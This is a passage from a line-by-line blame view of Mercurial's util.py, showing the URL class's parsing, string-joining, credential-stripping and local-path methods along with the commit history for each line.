2859 path, self.query = path.split('?', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2860 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2861 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2862 if not self.query: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2863 self.query = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2864 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2865 # // is required to specify a host/authority |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2866 if path and path.startswith('//'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2867 parts = path[2:].split('/', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2868 if len(parts) > 1: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2869 self.host, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2870 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2871 self.host = parts[0] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2872 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2873 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2874 self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2875 # path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2876 # path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2877 if path and not hasdriveletter(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2878 path = '/' + path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2879 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2880 if self.host and '@' in self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2881 self.user, self.host = self.host.rsplit('@', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2882 if ':' in self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2883 self.user, self.passwd = self.user.split(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2884 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2885 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2886 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2887 # Don't split on colons in IPv6 addresses without ports |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2888 if (self.host and ':' in self.host and |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2889 not (self.host.startswith('[') and self.host.endswith(']'))): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2890 self._hostport = self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2891 self.host, self.port = self.host.rsplit(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2892 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2893 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2894 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2895 if (self.host and self.scheme == 'file' and |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2896 self.host not in ('localhost', '127.0.0.1', '[::1]')): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2897 raise Abort(_('file:// URLs can only refer to localhost')) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2898 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2899 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2900 |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2901 # leave the query string escaped |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2902 for a in ('user', 'passwd', 'host', 'port', |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2903 'path', 'fragment'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2904 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2905 if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
2906 setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2907 |
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
2908 @encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2909 def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2910 attrs = [] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2911 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2912 'query', 'fragment'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2913 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2914 if v is not None: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2915 attrs.append('%s: %r' % (a, v)) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2916 return '<url %s>' % ', '.join(attrs) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2917 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2918 def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2919 r"""Join the URL's components back into a URL string. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2920 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2921 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2922 |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2923 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
2924 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2925 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2926 'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2927 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2928 'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2929 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2930 'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2931 >>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2932 'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2933 >>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2934 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2935 >>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2936 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2937 >>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2938 'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2939 >>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2940 'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2941 >>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2942 'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2943 >>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2944 'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2945 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 2946 'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2947 >>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2948 bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2949 >>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2950 file:///D:\data\hg |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2951 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2952 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2953 s = self.path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2954 if self.scheme == 'bundle': |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2955 s = 'bundle:' + s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2956 if self.fragment: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2957 s += '#' + self.fragment |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2958 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2959 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2960 s = self.scheme + ':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2961 if self.user or self.passwd or self.host: |
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2962 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2963 elif self.scheme and (not self.path or self.path.startswith('/') |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2964 or hasdriveletter(self.path)): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2965 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2966 if hasdriveletter(self.path): |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2967 s += '/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2968 if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2969 s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2970 if self.passwd: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2971 s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2972 if self.user or self.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2973 s += '@' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2974 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2975 if not (self.host.startswith('[') and self.host.endswith(']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2976 s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2977 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2978 s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2979 if self.port: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2980 s += ':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2981 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2982 s += '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2983 if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2984 # TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2985 # path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2986 # which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2987 s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2988 if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2989 # we store the query in escaped form. |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2990 s += '?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2991 if self.fragment is not None: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2992 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2993 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2994 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2995 __str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2996 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2997 def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2998 user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2999 try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3000 self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3001 s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3002 finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3003 self.user, self.passwd = user, passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3004 if not self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3005 return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3006 # authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3007 # URIs must not contain credentials. The host is passed in the |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3008 # URIs list because Python < 2.4.3 uses only that to search for |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3009 # a password. |
15024
0f1311e829c9
http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents:
15018
diff
changeset
|
3010 return (s, (None, (s, self.host), |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3011 self.user, self.passwd or '')) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3012 |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3013 def isabs(self): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3014 if self.scheme and self.scheme != 'file': |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3015 return True # remote URL |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3016 if hasdriveletter(self.path): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3017 return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
3018 if self.path.startswith(br'\\'): |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3019 return True # Windows UNC path |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3020 if self.path.startswith('/'): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3021 return True # POSIX-style |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3022 return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3023 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3024 def localpath(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3025 if self.scheme == 'file' or self.scheme == 'bundle': |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3026 path = self.path or '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3027 # For Windows, we need to promote hosts containing drive |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3028 # letters to paths with drive letters. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3029 if hasdriveletter(self._hostport): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3030 path = self._hostport + '/' + self.path |
15496
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
3031 elif (self.host is not None and self.path |
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
3032 and not hasdriveletter(path)): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3033 path = '/' + path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3034 return path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3035 return self._origpath |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3036 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3037 def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3038 '''whether localpath will return something that posixfile can open''' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3039 return (not self.scheme or self.scheme == 'file' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3040 or self.scheme == 'bundle') |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3041 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3042 def hasscheme(path): |
924c82157d46
